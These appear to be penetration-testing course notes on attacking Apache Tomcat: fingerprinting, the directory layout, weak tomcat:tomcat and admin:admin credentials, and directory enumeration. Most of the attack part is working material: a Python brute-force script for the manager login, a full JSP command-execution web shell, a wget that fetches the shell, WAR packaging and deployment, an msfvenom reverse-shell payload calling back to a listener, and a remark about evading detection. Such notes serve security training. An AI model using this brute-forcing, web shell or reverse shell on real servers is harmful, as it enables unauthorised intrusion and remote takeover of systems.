Tomcat Attacks

Discovery/Footprinting

curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat 

• general folder structure of a Tomcat installation.

├── bin
├── conf
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib
├── logs
├── temp
├── webapps
│   ├── manager
│   │   ├── images
│   │   ├── META-INF
│   │   └── WEB-INF
|   |       └── web.xml
│   └── ROOT
│       └── WEB-INF
└── work
    └── Catalina
        └── localhost

• The bin folder stores scripts and binaries needed to start and run a Tomcat server

• The conf folder stores various configuration files used by Tomcat.

• The tomcat-users.xml file stores user credentials and their assigned roles.

• The lib folder holds the various JAR files needed for the correct functioning of Tomcat. The logs and temp folders store temporary log files.

• The webapps folder is the default webroot of Tomcat and hosts all the applications.

• The work folder acts as a cache and is used to store data during runtime.

• Each folder inside webapps is expected to have the following structure.

webapps/customapp
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
    ├── jsp
    |   └── admin.jsp
    └── web.xml
    └── lib
    |    └── jdbc_drivers.jar
    └── classes
        └── AdminServlet.class 

• The most important file among these is WEB-INF/web.xml, which is known as the deployment descriptor

• This file stores information about the routes used by the application and the classes handling these routes

• All compiled classes used by the application should be stored in the WEB-INF/classes folder.

• These classes might contain important business logic as well as sensitive information

• Any vulnerability in these files can lead to total compromise of the website.

• The lib folder stores the libraries needed by that particular application.

• The jsp folder stores Jakarta Server Pages (JSP), formerly known as JavaServer Pages, which can be compared to PHP files on an Apache server.
• Here’s an example web.xml file.

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
  <servlet>
    <servlet-name>AdminServlet</servlet-name>
    <servlet-class>com.inlanefreight.api.AdminServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/admin</url-pattern>
  </servlet-mapping>
</web-app>   

• The web.xml configuration above defines a new servlet named AdminServlet that is mapped to the class com.inlanefreight.api.AdminServlet.

• Java uses the dot notation to create package names, meaning the path on disk for the class defined above would be:

  • classes/com/inlanefreight/api/AdminServlet.class

• Next, a new servlet mapping is created to map requests to /admin with AdminServlet

  • This configuration will send any request received for /admin to the AdminServlet.class class for processing.

• The web.xml descriptor holds a lot of sensitive information and is an important file to check when leveraging a Local File Inclusion (LFI) vulnerability.

• The tomcat-users.xml file is used to allow or disallow access to the /manager and host-manager admin pages.

<?xml version="1.0" encoding="UTF-8"?>

<SNIP>
  
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.

  Built-in Tomcat manager roles:
    - manager-gui    - allows access to the HTML GUI and the status pages
    - manager-script - allows access to the HTTP API and the status pages
    - manager-jmx    - allows access to the JMX proxy and the status pages
    - manager-status - allows access to the status pages only

  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the <!.. ..> that surrounds them. You
  will also need to set the passwords to something appropriate.
-->

   
 <SNIP>
  
!-- user manager can access only manager section -->
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />

<!-- user admin can access manager and admin section both -->
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />


</tomcat-users>

• The file shows us what each of the roles manager-gui, manager-script, manager-jmx, and manager-status provide access to.

• In this example, we can see that a user tomcat with the password tomcat has the manager-gui role, and a second weak password admin is set for the user account admin

Enumeration

• After fingerprinting the Tomcat instance, unless it has a known vulnerability, we'll typically want to look for the /manager and the /host-manager pages

• We can attempt to locate these with a tool such as Gobuster or just browse directly to them.

gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt 

• We may be able to either log in to one of these using weak credentials such as tomcat:tomcat, admin:admin, etc

• If these first few tries don't work, we can try a password brute force attack against the login page, covered in the next section.

• If we are successful in logging in, we can upload a Web Application Resource or Web Application ARchive (WAR) file containing a JSP web shell and obtain remote code execution on the Tomcat server.

Attacking Tomcat

• if we can access the /manager or /host-manager endpoints, we can likely achieve remote code execution on the Tomcat server

Tomcat Manager - Login Brute Force

• We can use the auxiliary/scanner/http/tomcat_mgr_login

set VHOST web01.inlanefreight.local

set RPORT 8180

set stop_on_success true

set rhosts 10.129.201.58

run 

• We can also use this Python script to achieve the same result.

#!/usr/bin/python

import requests
from termcolor import cprint
import argparse

parser = argparse.ArgumentParser(description = "Tomcat manager or host-manager credential bruteforcing")

parser.add_argument("-U", "--url", type = str, required = True, help = "URL to tomcat page")
parser.add_argument("-P", "--path", type = str, required = True, help = "manager or host-manager URI")
parser.add_argument("-u", "--usernames", type = str, required = True, help = "Users File")
parser.add_argument("-p", "--passwords", type = str, required = True, help = "Passwords Files")

args = parser.parse_args()

url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords

new_url = url + uri
f_users = open(users_file, "rb")
f_pass = open(passwords_file, "rb")
usernames = [x.strip() for x in f_users]
passwords = [x.strip() for x in f_pass]

cprint("\n[+] Atacking.....", "red", attrs = ['bold'])

for u in usernames:
    for p in passwords:
        r = requests.get(new_url,auth = (u, p))

        if r.status_code == 200:
            cprint("\n[+] Success!!", "green", attrs = ['bold'])
            cprint("[+] Username : {}\n[+] Password : {}".format(u,p), "green", attrs = ['bold'])
            break
    if r.status_code == 200:
        break

if r.status_code != 200:
    cprint("\n[+] Failed!!", "red", attrs = ['bold'])
    cprint("[+] Could not Find the creds :( ", "red", attrs = ['bold'])
#print r.status_code

• This is a very straightforward script that takes a few arguments. We can run the script with -h to see what it requires to run.

python3 mgr_brute.py  -h

python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

Tomcat Manager - WAR File Upload

• Many Tomcat installations provide a GUI interface to manage the application

  • This interface is available at /manager/html by default, which only users assigned the manager-gui role are allowed to access.

• Valid manager credentials can be used to upload a packaged Tomcat application (.WAR file) and compromise the application.

• A WAR, or Web Application Archive, is used to quickly deploy web applications and backup storage.

• browse to http://web01.inlanefreight.local:8180/manager/html and enter the credentials.

• The manager web app allows us to instantly deploy new applications by uploading WAR files. A WAR file can be created using the zip utility

• A JSP web shell such as this can be downloaded and placed within the archive.

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp

zip -r backup.war cmd.jsp 

• Click on Browse to select the .war file and then click on Deploy.

• This file is uploaded to the manager GUI, after which the /backup application will be added to the table.

• Browsing to http://web01.inlanefreight.local:8180/backup/cmd.jsp

  • will present us with a web shell that we can use to run commands on the Tomcat server

curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id

Using Metasploit

• We could also use msfvenom to generate a malicious WAR file.

• The payload java/jsp_shell_reverse_tcp will execute a reverse shell through a JSP file.
• Browse to the Tomcat console and deploy this file.

• Tomcat automatically extracts the WAR file contents and deploys it.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war

• Start a Netcat listener and click on /backup to execute the shell.

nc -lnvp 4443

• The multi/http/tomcat_mgr_upload Metasploit module can be used to automate the process shown above

cmd.jsp

• This JSP web shell is very lightweight (under 1kb) and utilizes a Bookmarklet or browser bookmark to execute the JavaScript needed for the functionality of the web shell and user interface
• Without it, browsing to an uploaded cmd.jsp would render nothing.

• This is an excellent option to minimize our footprint and possibly evade detections for standard JSP web shells (though the JSP code may need to be modified a bit).